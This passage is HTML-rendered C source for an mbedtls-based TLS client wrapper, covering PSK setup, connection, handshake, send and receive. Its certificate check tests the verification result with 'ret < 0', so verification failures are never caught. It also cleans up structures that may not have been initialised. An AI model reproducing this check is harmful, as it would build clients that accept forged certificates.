</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">auth_mode</span> <span class="o">==</span> <span class="n">QTF_TLS_AUTH_MODE_PSK</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">psk</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">psk_len</span> <span class="o">&amp;&amp;</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">psk_id</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_conf_psk</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">psk</span><span class="p">,</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">psk_len</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                       <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">psk_id</span><span class="p">,</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">psk_id</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_conf_psk failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid psk&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid auth mode&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">error</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">int</span> <span class="nf">__tls_net_deinit</span><span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_net_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">socket_fd</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ssl_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ssl_config_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ctr_drbg_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctr_drbg</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_entropy_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">entropy</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_x509_crt_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ca_cert</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_x509_crt_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">client_cert</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_pk_free</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">private_key</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="nf">qtf_tls_connect</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">host</span><span class="p">,</span> <span class="kt">uint16_t</span> <span class="n">port</span><span class="p">,</span> <span class="kt">qtf_tls_conn_param_t</span> <span class="o">*</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">handle</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">host</span> <span class="o">||</span> <span class="o">!</span><span class="n">param</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="nf">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">qtf_tls_handle_t</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;malloc failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 配置 tls 连接参数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">_tls_net_init</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="n">param</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;tls net init failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">dlg_info</span><span class="p">(</span><span class="s">&#34;Connecting to %s:%d...&#34;</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// 建立 tcp 连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">_mbedtls_tcp_connect</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">socket_fd</span><span class="p">),</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_tcp_connect failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 设置 tls 客户端
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">mbedtls_ssl_config_defaults</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">MBEDTLS_SSL_IS_CLIENT</span><span class="p">,</span> <span class="n">MBEDTLS_SSL_TRANSPORT_STREAM</span><span class="p">,</span> <span class="n">MBEDTLS_SSL_PRESET_DEFAULT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ssl_conf_read_timeout</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">hanshake_timeout_ms</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 配置认证等级
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">mbedtls_ssl_conf_authmode</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">param</span><span class="o">-&gt;</span><span class="n">verify_mode</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 协议版本设置
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">tls_version</span> <span class="o">==</span> <span class="n">QTF_TLS_VERSION_TLS1_2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mbedtls_ssl_conf_max_tls_version</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">MBEDTLS_SSL_VERSION_TLS1_2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mbedtls_ssl_conf_min_tls_version</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">MBEDTLS_SSL_VERSION_TLS1_2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">param</span><span class="o">-&gt;</span><span class="n">tls_version</span> <span class="o">==</span> <span class="n">QTF_TLS_VERSION_TLS1_3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mbedtls_ssl_conf_max_tls_version</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">MBEDTLS_SSL_VERSION_TLS1_3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mbedtls_ssl_conf_min_tls_version</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">MBEDTLS_SSL_VERSION_TLS1_3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mbedtls_ssl_conf_max_tls_version</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">MBEDTLS_SSL_VERSION_TLS1_3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">mbedtls_ssl_conf_min_tls_version</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">MBEDTLS_SSL_VERSION_TLS1_2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">mbedtls_ssl_conf_rng</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">),</span> <span class="n">mbedtls_ctr_drbg_random</span><span class="p">,</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ctr_drbg</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// todo: config ciphersuites
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_setup</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">),</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl_conf</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_setup failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 配置 tcp 收发函数，可自定义也可使用 mbedtls 的实现
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">mbedtls_ssl_set_bio</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">),</span> <span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">socket_fd</span><span class="p">),</span> <span class="n">mbedtls_net_send</span><span class="p">,</span> <span class="n">mbedtls_net_recv</span><span class="p">,</span> <span class="n">mbedtls_net_recv_timeout</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 设置服务器域名，目的是配置 SNI （Server Name Indication） 扩展。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_set_hostname</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">),</span> <span class="n">host</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_set_hostname failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// 执行握手流程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">while</span> <span class="p">((</span><span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_handshake</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">)))</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">MBEDTLS_ERR_SSL_WANT_READ</span> <span class="o">&amp;&amp;</span> <span class="n">ret</span> <span class="o">!=</span> <span class="n">MBEDTLS_ERR_SSL_WANT_WRITE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_handshake failed 0x%04x&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 证书校验结果
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_get_verify_result</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_get_verify_result  0x%04x&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">error</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">__tls_net_deinit</span><span class="p">(</span><span class="n">handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_send</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span> <span class="o">||</span> <span class="o">!</span><span class="n">buf</span> <span class="o">||</span> <span class="o">!</span><span class="n">len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// 发送数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">while</span> <span class="p">((</span><span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_write</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">tls_handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">),</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">))</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">MBEDTLS_ERR_SSL_WANT_READ</span> <span class="o">&amp;&amp;</span> <span class="n">ret</span> <span class="o">!=</span> <span class="n">MBEDTLS_ERR_SSL_WANT_WRITE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_write failed 0x%04x&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_recv</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span> <span class="o">||</span> <span class="o">!</span><span class="n">buf</span> <span class="o">||</span> <span class="o">!</span><span class="n">len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// 接收数据
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">while</span> <span class="p">((</span><span class="n">ret</span> <span class="o">=</span> <span class="nf">mbedtls_ssl_read</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">tls_handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">),</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">))</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">MBEDTLS_ERR_SSL_WANT_READ</span> <span class="o">&amp;&amp;</span> <span class="n">ret</span> <span class="o">!=</span> <span class="n">MBEDTLS_ERR_SSL_WANT_WRITE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;mbedtls_ssl_read failed 0x%04x&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_close</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
